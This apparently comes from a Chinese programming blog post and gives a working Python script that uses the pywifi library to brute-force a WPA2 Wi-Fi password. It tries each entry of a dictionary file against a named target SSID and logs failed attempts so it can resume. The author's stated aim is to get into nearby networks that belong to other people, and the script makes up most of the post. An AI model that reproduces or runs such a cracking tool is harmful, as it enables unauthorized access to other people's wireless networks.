python使用字典暴力解析wifi密码

前言

最近无wifi可用,搜到了很多高质量但是没有密码的WiFi,我在想应该可以用python调用常见的wifi字典包来暴力破解一下这些WiFi,也许可以成功

原理

使用pip install pywifi命令安装pywifi

使用它调用本机网卡,设置wifi加密方式,对字典包扫描密码逐个尝试

扫描失败的密码会被放入error.txt文件,当意外中断wifi扫描时可以立刻从上次扫描失败的点重新开始尝试

尝试了一下也就用常见的wifi密码字典包,尝试下,大概有几十万条,如果让0-9,a-z随机组合下那是不可能的,因为组合的种类有百亿条,千万年都跑不完

源码

复制代码
import pywifi
from pywifi import const
import time
errorList=[]
# WiFi连接函数
def connect_wifi(ssid, password):
    wifi = pywifi.PyWiFi()  # 创建一个WiFi对象
    iface = wifi.interfaces()[0]  # 获取第一个无线网卡接口

    iface.disconnect()  # 断开当前WiFi连接

    time.sleep(1)  # 等待1秒

    profile = pywifi.Profile()  # 创建WiFi配置文件
    profile.ssid = ssid  # 设置WiFi名称(SSID)
    profile.auth = const.AUTH_ALG_OPEN  # 设置WiFi加密算法(这里使用开放式认证)
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 设置WiFi身份验证算法(这里使用WPA2-PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP  # 设置WiFi加密方式(这里使用CCMP加密)

    profile.key = password  # 设置WiFi密码

    # 删除所有WiFi配置文件
    iface.remove_all_network_profiles()

    # 添加新的WiFi配置文件
    tmp_profile = iface.add_network_profile(profile)
    iface.connect(tmp_profile)  # 连接WiFi

    time.sleep(3)  # 等待3秒,等待连接成功

    if iface.status() == const.IFACE_CONNECTED:  # 判断是否连接成功
        print(f"成功连接到WiFi:{ssid},密码为:{password}")
        return True
    else:
        print(f"无法连接到WiFi:{ssid},密码为:{password}")
        # 将字典保存到文件
        with open('error.txt', 'a') as f:
                f.write(password + '\n')
        return False

# 读取字典文件
with open('dictionary.txt', 'r') as f:
    dictionary = f.read().splitlines()
with open('error.txt', 'r') as f:
    errorDictionary = f.read().splitlines()
ssid = '4F'  # 替换为目标WiFi的SSID
realDict=[]
for i in dictionary:
    if i not in errorDictionary:
        realDict.append(i)
# 尝试字典中的每个密码
for password in realDict:
    if connect_wifi(ssid, password):
        break  # 如果成功连接,停止尝试密码
相关推荐
AI攻城狮1 小时前
用 Playwright 实现博客一键发布到稀土掘金
python·自动化运维
曲幽1 小时前
FastAPI分布式系统实战:拆解分布式系统中常见问题及解决方案
redis·python·fastapi·web·httpx·lock·asyncio
YuMiao2 小时前
gstatic连接问题导致Google Gemini / Studio页面乱码或图标缺失问题
服务器·网络协议
孟健16 小时前
Karpathy 用 200 行纯 Python 从零实现 GPT:代码逐行解析
python
码路飞18 小时前
写了个 AI 聊天页面,被 5 种流式格式折腾了一整天 😭
javascript·python
曲幽20 小时前
FastAPI压力测试实战:Locust模拟真实用户并发及优化建议
python·fastapi·web·locust·asyncio·test·uvicorn·workers
敏编程1 天前
一天一个Python库:jsonschema - JSON 数据验证利器
python
前端付豪1 天前
LangChain记忆:通过Memory记住上次的对话细节
人工智能·python·langchain
databook1 天前
ManimCE v0.20.1 发布:LaTeX 渲染修复与动画稳定性提升
python·动效